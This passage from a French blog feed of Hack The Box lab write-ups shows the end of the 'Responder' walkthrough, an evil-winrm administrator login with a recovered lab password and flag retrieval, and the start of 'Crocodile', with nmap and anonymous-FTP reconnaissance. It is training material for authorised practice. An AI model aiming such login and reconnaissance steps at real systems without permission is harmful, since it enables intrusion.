<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="post-exploitation">Post-Exploitation<a href="https://mohamedoutougane.com/writeups/responder#post-exploitation" class="hash-link" aria-label="Lien direct vers Post-Exploitation" title="Lien direct vers Post-Exploitation" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="connexion-via-winrm-evil-winrm">Connexion via WinRM (Evil-WinRM)<a href="https://mohamedoutougane.com/writeups/responder#connexion-via-winrm-evil-winrm" class="hash-link" aria-label="Lien direct vers Connexion via WinRM (Evil-WinRM)" title="Lien direct vers Connexion via WinRM (Evil-WinRM)" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token plain">┌─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">ravenbreach@htb</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain">─</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">~</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">└──╼ $ evil-winrm </span><span class="token parameter variable" style="color:#36acaa">-i</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.27.62 </span><span class="token parameter variable" style="color:#36acaa">-u</span><span class="token plain"> administrator </span><span class="token parameter variable" style="color:#36acaa">-p</span><span class="token plain"> badminton</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">*Evil-WinRM* PS C:</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">Users</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">Administrator</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">Documents</span><span class="token operator" style="color:#393A34">&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">whoami</span><span class="token plain"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">responder</span><span class="token punctuation" style="color:#393A34">\</span><span class="token plain">administrator</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="récupération-du-flag">Récupération du flag<a href="https://mohamedoutougane.com/writeups/responder#r%C3%A9cup%C3%A9ration-du-flag" class="hash-link" aria-label="Lien direct vers Récupération du flag" title="Lien direct vers Récupération du flag" translate="no">​</a></h3>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token operator" style="color:#393A34">*</span><span class="token plain">Evil-WinRM* </span><span class="token function" style="color:#d73a49">PS</span><span class="token plain"> C:\Users\mike\Desktop&gt; </span><span class="token function" style="color:#d73a49">cat</span><span class="token plain"> flag</span><span class="token punctuation" style="color:#393A34">.</span><span class="token plain">txt</span><br></span><span class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#393A34"><span class="token plain">ea8</span><span class="token punctuation" style="color:#393A34">{</span><span class="token punctuation" style="color:#393A34">.</span><span class="token punctuation" style="color:#393A34">.</span><span class="token punctuation" style="color:#393A34">.</span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain">fac</span><br></span></code></pre></div></div>
<p>La machine est <strong>pwned</strong> !</p>]]></content:encoded>
            <category>Writeups</category>
            <category>Hack The Box</category>
            <category>Starting Point</category>
            <category>Web</category>
            <category>Windows</category>
            <category>Tier 1</category>
        </item>
        <item>
            <title><![CDATA[Crocodile]]></title>
            <link>https://mohamedoutougane.com/writeups/crocodile</link>
            <guid>https://mohamedoutougane.com/writeups/crocodile</guid>
            <pubDate>Sun, 08 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Quand des identifiants fuitent via un FTP mal configuré.]]></description>
            <content:encoded><![CDATA[<p>Pour cette machine <strong>Crocodile</strong>, nous avons identifié une mauvaise configuration du service <strong>FTP</strong>. Celle-ci nous a permis de récupérer des identifiants pour nous connecter à une <strong>page web</strong> d'administration. Un scénario classique où un service "oublié" donne les clés pour un autre.</p>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Dans ce writeup, je ne publie pas directement le flag final, l'objectif est d'apprendre en pratiquant.</p></div></div>
<div class="theme-admonition theme-admonition-caution admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>N'attaquez que des machines sur lesquelles vous avez l'autorisation. Respectez les règles de la plateforme.</p></div></div>
<p><a href="https://www.youtube.com/@Raven_Breach/videos" target="_blank" rel="noopener noreferrer" class="">▶ RavenBreach sur YouTube</a></p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="reconnaissance">Reconnaissance<a href="https://mohamedoutougane.com/writeups/crocodile#reconnaissance" class="hash-link" aria-label="Lien direct vers Reconnaissance" title="Lien direct vers Reconnaissance" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="scan-nmap">Scan NMAP<a href="https://mohamedoutougane.com/writeups/crocodile#scan-nmap" class="hash-link" aria-label="Lien direct vers Scan NMAP" title="Lien direct vers Scan NMAP" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> nmap </span><span class="token parameter variable" style="color:#36acaa">-sV</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-sC</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.1.15</span><br></span></code></pre></div></div>
<p><img decoding="async" loading="lazy" alt="Résultats nmap Crocodile" src="https://mohamedoutougane.com/assets/images/image1-edc60df1e5a9a5a0ace463f5e9b4b6bf.png" width="777" height="511" class="img_ev3q"></p>
<p>Le scan révèle deux ports ouverts :</p>
<ul>
<li class=""><strong>21 (FTP)</strong> : vsftpd 3.0.3 — avec <code>ftp-anon: Anonymous FTP login allowed</code></li>
<li class=""><strong>80 (HTTP)</strong> : Apache httpd 2.4.41</li>
</ul>
<p>Les scripts nmap signalent immédiatement : deux fichiers intéressants sont accessibles : <code>allowed.userlist</code> et <code>allowed.userlist.passwd</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="récupération-des-fichiers-ftp">Récupération des fichiers FTP<a href="https://mohamedoutougane.com/writeups/crocodile#r%C3%A9cup%C3%A9ration-des-fichiers-ftp" class="hash-link" aria-label="Lien direct vers Récupération des fichiers FTP" title="Lien direct vers Récupération des fichiers FTP" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">ftp</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10.129</span><span class="token plain">.1.15</span><br></span></code></pre></div></div>
<p><img decoding="async" loading="lazy" alt="Connexion FTP" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAP8AAABjCAYAAABUrNbyAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAB/KSURBVHhe7Z0HeFRF14Dfu5tOeqG3BJQOIkWUUEOLShFFEdBPEBBBVBRBwfZZAAWpior4I4iigFJCCSWQRu/gRzdILwmppJBk9/6zyQIhZksaSci8z3OfbGb23js7d86cM3PnnFHqPNBURSKRlDs0xr8SiaScIYVfIimnSOGXSMopUvglknJK6RB+xQaNjfFzFvbgXBelYr1iLmEFlBrPo6nuZ/y/qCgl5be1RaMYP0skuSj52X4bLyq+2BfvqOUcDY3LTnPoi7bPRyhEoP9zNPr0/BTRBuXhILT1qxr/F+dGjSZzZ4Tx/xx4voa2+zAU9Rj69QPQJ+iNGTlQnFEq90Cp0gjF0Rkyr6Fe3456dgdqRh7fN1Aqyq/g0PF56vv9xYlFh0nNNCZLJEZKVvMrLngN7EfV1K2cCjMKfqERApAghPNCKGpikjHNBJnJ4utCuPTir86YlhPHtmgChCB2ek9o1wZCobuBVwCaVt+g7fkDmspexi8WJUVVfpW0sFWcTW1D/YH1scu3BaDBufdwHvlqDK2mvEnLUS1wyM81FHcqjxqddW6rr97hod5VRXckKU2UoPAr2D0SiG+V/3Fq2Wky8qMczaJH/ftTdOFj0J+5YEwzQeIidBtfFcfb6G/k0uI2TdF0nI7G+Tj6rU+Subo/ui3D0a0LJHPtW+jja6NpNxuNl4PxhKKiiMpvQE0mbvlqYqp0x6+1izHRehQbG26G/cbed2ey95t9pOXnGanxXPlmDnvenc2xsAQxrCsdI0zJHUruiWgqU6VbNRKD95BsySQ1COLje7F5fjPamt6iVVZCaTIZ7RObsem/D5t+G9C2e0WY5Vb+HKU6mq7iegP2YxP4HdrAP0RxbI2ZBsR1fEehcTmN3iCEiTXQ1OmG4uAgxvEBKB5a1P1jRXpdNC0HoVhSafe8/DnIuMLlDedw6d4CZyl/khyUWHNQKtfF3f0CsSfSjCkmUOxQGk5A466F81PRnY8RWuUGuDQXY91zqFf2oeq8UGqMQNuii/EkC6ipqNFhwrTea2Lc7ommRnO4tBB9rCifZz80rccLQf8abcAkNNXshNY9iH73B+jPXsOsTV0i5b+bzOOnSHIX9V1ZGt6SO5Sc8Ht74pAUy82bxgRTuL+Ipn59SAtBt2+TaPiGxGTU7cL8XjcEXagwxcMWo6rip3g0sqyFs7iOevBtdBFfCss4D1tWUxtcbYSABgqhfwONq7i24o1SswVc+Bz9pboorT5C8+Bj4NYMxdPDeGIelET5c3MzjrQkdxy9i+hxi/F8m9HfEXpgJ9uXvk/vOmLoI9IeGzyKAQ97l+RYUpIPLMz2a3B+cgiNAjzvTNboYkkVmtFRKLI8sZSfeYaoT5YR8+DTtH7iOkc+CyU5t/K6PVt+DDW2ppA7e9RD/dD9L8r4BScUg1leX5jibsKM1hib242f0a2Zhpp1PQ1Ko1/RNhOCZ2q2XKmHJnAJGrc4Ma7vgf5KRna6pjGaR19G0YpfrcaixrmjaeovhEgnfl84+lMpKF5C4LVVhQXji7qnB7rT17PPNVDS5c+NGGLVfP8/OK75ihP7DWMsGzwHjqBOk7ver6I/spYDv5wyTDkKNLg8Lb6TsYJDqy9n91lZKHh0+5y1szqScuQfbOo1pKr+IodP6qjT1JVt455hdFBMju+LNtRrKA/aruPAHxdypEtKGq2nV6WPjZ/zQMGuYSs8rq3nyIJwLofv40rkUa5H7sv+nNdhKT/iBMmJGahuflRpoSVu62lu5m4RNg2EYHQUdz+J+vd1MUSuLsbDKahRu7I1Z5V3sfHvL9KEcMYKszkpA6WCEMaMw6gntxu1qyLG50+Ldi+EK249+gvnDIl3Y9DmDzwjxvJpqP8I7Xtr0kyNE9dSUBO3CIFYjmrfBU1NJ/R7F0L1gWjSf0QX+a3QurWEEFdEPfoTakqOHqyky58bjRde3R5A3beLuBjDxfWkHtnNpc077zouHxEdXfYZAgX7hi3x1B/n6gkxTLmNBlevithH/c57E2axcNMFPB9uT7t6thxf/BHjfzrO3caIaEP1HsZLe4orxxKNaZLSgFUWmpp6g5vX428faTk+53WYzY9NRicah3r5CilOlXByM2fnisYcNRd9ovjr1h9N3ZoiTYvi00y0KXGRS1PI3DAC3YEtRnnJ9XP06dl/tWKMni90qI5d0fpPz56gi/sD/Z5vUC/9hj78v+iv6cVQviqaBj1RksW9Y03NWJZU+XPhVokKTtEkX8rrfWZ+0XNt969Mnb+DOFHo1NNr+KBfZxo3C+C5KRFEm+h/JKUPq4S/WEg4Scwpb3xaeQndYIbMQ+j/2ip6C2EqNxqFYq8KjWx4BSbOqvQa2oAFaDu9JMbKoiU6tUXxuGXK6oVQHhXnie9VH4+28zy0LQOys5QaKC2FYLcbJzSuyFdcUJpOE8I+AsXWUBrRgv+ZJsb2tihtvkVTUZjVf69HTUtHvboK/bmLKA9/jaaa0LgHFxrNdBOUSPlzosGxdWMcT/2PWKl4JTkoOeFXk4hevRs6dqWSj7liCKE4+y362JtiLN0VTaOH4Nx0dKcOiywPMWZ2hlNvo9vxhzB7T0NyDu12bT66Y7uEcHoKbVsPXMQYPetWrmKsLszy6i2FsBgS7IUFbfi/mRjnG/IF6gX020eJDsABTZvfsOmzXAipYbZ/CTa9fxfDAA3qrlezZ+/NUkLlN6L4NMe3A1xefYR8LTSU3PdYnvDrM5wHWM3BlZdyjAeLCg0Oj/ShYZcUzszZQFxiaWyd9uAjxvzVWwkF6yUUcgJq/B4xfg8W43xLrypKGNe6+I3uhu3mJZzcFZfP52dqwi+/yAm/0koJC78BLQ4tO1PFZg9ndsYb0ySFR8GhTVeqZO7h7F4xbDGmWo9BaF+mYTtnVJ0YqpyP4K+5+VjlZ1jeO/IFatQQpohWS0bEEtGJFFcbkhSEUiD8EomkJDA32BZocPRzw94vx3v+fCEu/+B8bNoaJ6okEkmpwYLw60mNSuBmVM73vxKJ5H7AgvAXAm11lEYfon2wAWLwh7bNSBRPd2OmRCIpaYpJ+D1QWv+ItllvFGd7sBEdge9wtJ0/QsmfUziaGr2pMnoBfhN/o874KXhWu3tJqkQiKRjFI/x2/kJoK0HSEnSHDsGFiWSueQv99i9R8+MUrq2P13N90G9+k6jP+xP1zVckXL2zmk6p0p2KXdpgU7AJCYvYVWvLyLlBHDkwhW65F9lpK9P5ne/YEBHC9rAVLBjbniqm/BlMYPr69vgGjuGHoPVsixTX3/gDHz5Zi5xf0VZ8lNFf/05oxEZx/z/5YYw/lYrs/tZh7vwKvWby1+FwtkdsYpvhCF/HrD4WFnRJ7inFI/wa0RIMweNsfFDsDS1SCHzSFvSXLmfnW4tjbexdLpB6NntpmnojGl3OlbTeLXCtV6MY4tRp8e0ziRW/jKbOpVNc/dd7Mg3V+n3MlLYn+eDJrrTtNYfrT01i0jNVrKxQ89dXnJvQq7sDa954Gn//LgSOO0izjz5ncB3j1TU1GDDtczqc+pxeHbrh33sSUZ0+5bO+lYrk/pax7vyM7VPp0U7Uj+Fo/zhvrLwu545KEcUj/Dd3oF4VAuvYDU3Dh8C1NYpb/iPJZHm75SXY2iZ4v/Ezvn3boKnWn+rv/oLfu5/jcXuloC3OA5ZStbOwDIZ/j++Hy/F77XVcvKwdMui4cngp7z0zkHG//sW/1h5pKtOtV1OO/rqIPQkqbq3aUSk6hha9O1PVqho1f331xl5mvTmZVVEpQlhUEo5sIuyyH40fyA7YoXi2JqDJGVYvE+cKwdPH72fxinO07tEWT6s6Qgu/zyKFPV9SGige4Vcvod82Ev2ZY1lKH4/+aANXCZltmZ1vCcUD14E/4ff6YBztmuEzZjF+ExZQuYlTdr7uCDGzXuDMnzvRX/yNC1MGEjVlInF3eZXY4dS4NslLX+PMZyOIjm1NxcfbYfDStYbUqIMcjjHhCKOtzQO1Evj7TDyqbX1efDaThTO3EVOrDrWtNL3NXj83TrXw87lM1Dmj2aPXG1b+G/4Y0RN9NRoqVcbsSukc5Ov+eWDN+Tb1n2fun0Fs27aWpZ/3pb6jMUNSKrCiqSg4dnmBR2aMo43hmDaUZtOMn/M6pvajokHJpx9Bv2MAugMHIe2KSPBEafwxGh8T4aZyosaR+MtLRM1eQGr6IaJnDCJq0mCuHEkxfsEaMrl5cDXJ8RlCNmK4sW8faq0m2BdFd6c44uR4k9Q0hUq9XqJe2ELCo1O46VABpyIfgjjQZPBgWhxYyJLj2cKmJuwj4mgdej33EJ5aDU6+gbw/0h+79HSMfoAlTtqOuQx9cwKvPduTDk9OJKLOGL4aXl8MGCSlBQuioCd542L2ffQ9Bz6bl31MXs6JycbPeR2T13E9h/u3qhfa6upsdFExQmgqC6VeHBFvrSA5Hr2ds9Wa3yxqKimpdjh6tGJY4BUW/HEBvb0jdmnJpBSpCayhSuD7TO12lA8/DOLKLU2vO8fidz9jf5MJrAxdy+8TGhK16zQply5wreDKvEjRRZ9k18F/iBePPzPuMEuDjlOjZXMqFo+tKSkAFh+FmpL0L598i/76+KA0fUOM8412ntCU2Bk0vtBLN3MGhigs+ZC0Cu5oUuLILArh1J3l1DkPHn19CJ5BP7NPWAAutWvjcfZv/sklfFoXb3ycC6LvtFTuMpHvR6rMeWUyW7OCcNwh43wIU4Y+Q/t2gfR8dQV2jauxb+tectduwe+fTWHPv4WtjY2ot4ysWA6S0kHx9MNeL6BpNBjt45uxadoUaryHtqYbJK1Gf6kIhf9GHDrXmtjZC3Wu2KF1sjdmGNBiW7t5dp62Mi6tWqKe3J0ViavQ6C+zac1hqlaLZkPodXBtxpCBjTi8ZiuXckw7KD5PMGfzJraFfEkvn/yYHDZUf+Ijvn8lg5nDPmbtRdOF1ro15PkvpjMo9Qemrs4ZPqsw98+mwOcrbrQaPJpBLbwxdPla79b8p28t9gXvIFcfJilBikf4Y4SZHzIZ/YWTqIaHnXERNUqkbZmGaiLMXEFQ/1nGtUM+eL9tmO3/nmpdmucw61X0No2pOGoRfhOmi7Hxaq4E77fSu03Bs/cXhEZsInzxyzRw7sSkEPF5+SgeynphoOfCbx8zdqUHbwcJ4Vj7X5rs+i8Tfr909/XTE7gak0xS9FXi7hqMW7h+hS68N6knfrUC+HRZcPZ78ohgFg3xuz1m1lRqw7DPvmNd0CQ6XZzDC6/+yqncdVvQ+9+ioOerKVyKSueRiYvZtmMzYb+/TqV143ln6UUr619yLyjm7bpE3/LgPGx8lpC5LcSYdi8wvOpbgseF0ZwPz+fagjKCIjR+wKP2HI84xIV/RUCVSCwjp1/KKGrCUTYHH5CCLykwxSz8omGeHHqPtb4BPRkn15J0zsJedxJJOaaYzX6JRFJakWa/RFJOkcIvkZRTpPBbhYaKXV5n8sAGcnmq5L7BjPBrqfTof/hi8UoiI0PYvTOYFTNH0LFa2Wn+2vpP8eFrHYpkSalDzRZ0b1k1X8JflPfPCxlvwDwy3oB5TDRLBfd24/l5ajsufjeCLv4BtG7/IlO2nSfe4ENaRtDWeoy+HfwwbGpTEhTf/WW8AfPIeAPWkPez0Pry/JhALn/zAV9HXiFrB/30a+xatpaDScbqcfCjz0c/siFsE9sj17J8Sj8a3W7ldnSfEcrXL3Zk1Kxf2BwZzt6Ns3ip4a3lt5byBVpv/F+bQVBYCDu3rWf55L40uMslVGifx99i/pqN7Ni2mbB18/jkmXpkOf3atGDcqg1s/bQDTg2H8muo6Nm3fstLvjl+roXrK+4tGDH3D7bvCCFszWxebelmZcMVWHN/s/VnCRlvwDwy3oA15NkUFM+HaeN3hojtV00sx7Tn4Te+YlzVYF7t3pXHAkay3H0Es8e04I78ONChfwBX575Ct3Y9mXi4MSMGtsha652NuXwNvi98wZQ2x/igV1fadBjMPPUFpo9udtu0rNBGmJ3vN+TAh8/i37Yr3YfNI/Tv69kdVeY+vuzdnU4fhJFydD4DOoqevdOr/HTm1q+xcH3FlS4TpjAwcyH9OwTQeeC3nLZ3t174Ld7fmvozj4w3YB4Zb8AyeT4KjasbriSRYKrLtGlCzx5uhP+6miiDtN08y4olkVTo0oWmt9eGZ3J8+Tz+PHEDvZrEyRNXcHRxznFDM/nauvTsW5c9C3/mYIJoQZlXCPl5M5mdOtMgq/E60fbZQGzWf8e8/fGin1dJu7iXLQdiTHRWubB0fYcW9OiYQfDCdZxLF3ok4Ribtp0VJS4irKq/QiDjDVhExhswIfz6xAQSccHVxURL0Xri7ZFETI6tqTNjY0l09xIP25ggyNl16HTZDSPnFU3ma7yp7ONMwKerjU4tmwj/4Rmq2DviYiixxo2qle25dvGqEPwCYOH6irMX3vZx4vdZ1ZXkHyvrr8DIeAMWkfEGTAi/GrufXVG1afuId95f0MUSE++M1+3tpIUy8/TENe4614vi4eqvczUmkY0Te2ZPxhgO/0607DyJSIPnmj6Ra9GZeFX0yrt8tzGMSPPAwvXVGwkkZLji6V7YlmDi/sVdfzLeQL4xFW+gqK5fGsm7devO8OvMjVQf9TFDW3pnj4O1LjzQrS8BtUQlZf7F+s0pdHi+J76GOTr7WjzVvy0JwcEcKgrbWHea9Wsu0vblIbT2NlS8Bhe/1rSocWvGIIVtK0Ow7TmMFxu7Zv0IW59G+De5uzPQX48hvqIvfs7CnlDscXdzyLYsLF0/7QBh+9zo9mw7fES21rslz/Z4gPxa5CbvX9z1J+MNmMfKeAOFLV9px4RqU4kPn8KLE/dQd8x8NoeLCgj9nWlP1aZCVkSeNPbMeIc5Cb35v5BNRG6cTa8rMxk1+yBFs2m1jpM/vsOEXQ/w/vKNbNuyiqWT+/FYrVsz7ioJoV/yyoxLdJz2J9u3bWTTT2/xZNPKd41pM/cv4JM1lXlv3WYitv7B/73+CO5Z+Raur8aw8pOP2Vz9bYJCV7Piq+5E7zpMfkMRmL5/YetPxhvIorjjDZi8/v2BdOyRFAsy3kDpRwq/RFJOMWH2SySS+x0p/BJJOaVsCL/GHscCOHZIihl7Bxyk+iizlP5HZ1eLp6Yu4ut+NaSZUqrQULPfdJZO7Ymv7JjLJKVbnjQ+dP90Ji8nfc34JeetW7pbKrkf4wHoOffrB0xPepFvPwmQO/GUQUzM9hv8tUcyYWQ3GnrYoaREETz7M6asOWtcm20pX2DwJ3/rY8b3egAXfSIngmYwYUY4l61ewaahUp+vWD7oGMMHzONYEb9n1T44nBUrhlI1NuHOu/XMMywYPpINrWfw84j6WQtA7Fy9RfnjuX7DsPomg11fDuDtoERqDPmJDW/WJi4+Db2iknxuN8vmzGLBzpg8lhwLLTlkASubLKLNmBAr1rfbUSNgGO+OCqSZjyOa1LNsmTeFSctPYvVuhYWq/3zc374+o3+ZRYPFg3htZXQZ7qDLH3n215b8tS36c4vLFs6fXKCtz6ChTdn9/RKOF9cCi/Qw3g8wLu81HJ2GM/9UJud/GU3HrLTHeVM06PO/vUkH4/9vBcXfXqWWbvAHb98N/w59GbncjkFzv2BQzSJQgRoPGjSE4HHP0q5dF7q/EUb1sdN44+FbKxwtUcj6z8/9b55g4bz9PDT0WaPTlaSskGdbsOSvbSm/8P7kQvb9/Glf+RBbdybdFrZbKG7d+XrnUl6vf6e1aX2H8MeOqTzhlr3ET+PzCKPm/JYVSSYyPJjgn//Lf5q7Zi+vLWr0yfy9ehFroxvRrlX2PQoVD0B/lY1zviHodHb9Jp3YyJbT3vjWtNLntLD1n6/7qyTuCOdg5XZ08LP6F0pKAdY9rdz+2rnJnV8E/uTaGrWodv0c5/Owc9WESFZFetGtW13jGFpDra6dqRK5jjDR2A1rz5sP/YAX1UU801Fo5vZPMmDyRv53LVk01WJCscFGFEav06MWNh5AThR7KrXuS6BXKCu2WbnPYRHU/22suX/KBf6JrYJvjfx6P0hKEiva47/9te8mj/wi8CdX7O2wy8gwMT5OJnJ1BO7dulDP0Ji1NenW1ZvQoB1kN0891y9fw7ZBF57p2pTqznpij25jb24HFLsOfBZiWJduODaw6u3m+XbeycLWgybPvcTjzrvZsFOUoIjiASg+vZgTEUrY1+05/f2PhMdYOaIuIn9+6++fTnq6LQ52xWJXSYoJC8Jvwl/7Nibyi8CfXJ+YyI0KLpgKKZC6ez0hTp3pIUx/ba3OdPUIZfWurDg+Aj3/LBrDwJnHqNZ7HIs3b2DF9ME84p3r59415u9O768O5EtA7R57h+DwjURs/D8+fOwis4dO5E9RCUUVD0CNXs1o/0dp9sR0Egd+zzf9q1tnPRSRP7/V91dccKuQQkJS4X6v5N5ipi2Z99c2m58Pf3JT6E4f55TbgzQw9Q4p7QBBm2zp0qMhdbp2wnlzMPtyusTpEzi29gc+eHUQnTq9wmqPIUx/rWWOMGKF59aEX7tOT9Fv1DSW/ZU9P1F08QCyuXl1L2si43nokew3EDnJ09+8iP35zd3fgKZSPeq7neZ/p/Jr20hKEhOt05K/toV8K/3JzaGPDmXNXj96PlnLxLvxdA6uCUHp+jJvdrdnQ9CROy63SgUa93yajr7OWeeqaibpYiyOco/M0kLGA1A8WvDSqL485GOXNXloW+lR+nXx5uDuY3e5FZv0Ny+kP7+1989Gi++TgdTZE0xIdD7MCkmJk7fwW/LXtujPbaU/uTn00aya+SvKwLd5tmbe4p95NJj1Ge3prNnMmrvmI2yFRmvAS3NXsWvHBraunsGTsfN5c+aefPvkF4hCxgNQE89yLK05439Zz87ITWz5eRiuK8cy9jdr/c0L589v9f0F2lp9mTAQFs1axzUp+2WKUu7Sa0ON3pOYPziWScO+JCza6q5Dcg/Q+LTjwx/G4rFgFG+vulB0AU4l94SiGZQWG5mcX/U+w+Zl4t82HwuEJPcADVXbtiF93mu8IwW/TCKDeUgk5RSpTCWScsr9ofkN/v42N0ktLh8ASdnEEG8gI420Ip4qOn3ykPFT3tR9sJnxU+mm7Gt+6e8vyRMZb8ASZVte7ht///sNLU2Gz2XekAeNr37zh7bBUJYYNjeNDOevv+YxoKKJ9RmKOz2mBhMxrSse//qKjDdgibyrxOYhJm45wIlNY2lp7DW1jUezbuNYWpQa3w0NlXpN4P0663lnUgR5LTuX+9ebp/j2r9fgWq0utTwKtp5Sd2w+z3fsiv8TX7HT3OIINYP4S2eJuhhPel6DV/11Qid/wNq64/i4l08Z13RFj+n6yLzMRW13+rd3NiaUMsz6+8v9681zv+xfn8zOGa/wnxl7xCcTmIs3YN+MN/4MY/ey4TQtQOdZ1jHd1tRoQtb/TdvnuvJvq0vBq/NYlqxfR1hoCLu3rWD+mLa3TSu77l+wZebrTFy8ju0h3zKq7xDmBQsNGPQunbK3rBHtz9L+++Yx5+8vdIfcv94sRbR/vVF49ix7hWbmhMfej+fmBhM292nqGLYns9B+rMGuw0RCDDtJ7dzBsRBzFqmZeANaJzw9nHH19KRCQcYnZRzT1a3YkyTM4Z0N+vKUb+6vqcTuX8J7z/emQ8cA/PsvIrPfB7za6tYT0ODd2Itdb/VlTJgvg/vomP70IL5P6EbgQwYBsLz/viXM+fsbkPvXm6dI9q/X2OPm6kQFNxeTUXwV25o8/eUcXuUHhoz5g7+znK8stR/LpId9TkD7rnQYvTIPb9NcmIo3kLKD/wZ2pPUTX7Aj1ZhWjjDT1GywSY7k940e9O3XBDvVoMPuoMZf5J/47AFZ+sVd7PzHlSqVsrr1LDJP72X3tQxSk1O4sn83p1JSSUmzw8HwFYv771vGvL+/BeT+9Raxav/61N182qMdLR6fxm1v6pzY1aD3F98w2vb/ePm24Gdjqf0ULabjDejTkkhMK6jpU7YxI/wKipLGnqVrSX9cjF0ddDkCU2rwePh5Pv3xN7aEbSIy7Gdeb5qPmUBL++9bgSV/f7PI/estYu3+9WpmGqkm1vZqKjane2snToXv5dxdO5AWsv3kFzPxBjQOLrg6FHmPXyawKGq6k6tYdtaf5zpWuKOVnNox4euh+IS8T+/OXfHvMIhZ+dlb2tL++1Zg0d/fHHL/+nxjav96bBxwNCG3+gtBjBv1O65vzOaTrhXvWA2FbT/5xGS8AadH+Wh9KLvXjufRfMw33S9Ylhz9ZYKWHqBJYHs8jUmKbQUq2Kdw9cxlbuiE2VqrBc2q2uDg6GjdqyCL++9bxrK/vxkK6e9umfKxfz2OrfkwOIJ968bS2sGYdhcqSYd+YOT4nTT7bDbvtHHLah/Wth81PYmEdC+qVjbMBGmxsytARy/OMxlvQJdCbNwNkmJjSS4lFte9xIraVIkL+YPN9jWoZuzh1YQtzJ56hOZT17E9bDVL3qrK1u+CcO8WSC2rJNHS/vtWYNbfX+5fn0VBz7d2/3o1naQkMYRKusHNf1vURlSuh3/J8M/P0WPGdIY3drK+/aRuY96M03T6diM7ItawcGgDY0AUBfcnJmWVP2xOH6pWf5pvt4ryLxlGw1xNwWy8gZuHmNW3A636zeNwaZlsuYeU8bX9ZdffX+5fX/wUV7wBuba/VFB2/f3VhKNsDj4gBb/YkPEGLCH9+SWSfHK/aH4p/BJJOaWMm/0SiaSgSOGXSMopUvglknKKFH6JpJwihV8iKadI4ZdIyilS+CWScooUfomknCKFXyIpp0jhl0jKKVL4JZJyihR+iaScIoVfIimnSOGXSMol8P+DBb0+0IhB/AAAAABJRU5ErkJggg==" width="255" height="99" class="img_ev3q"></p>
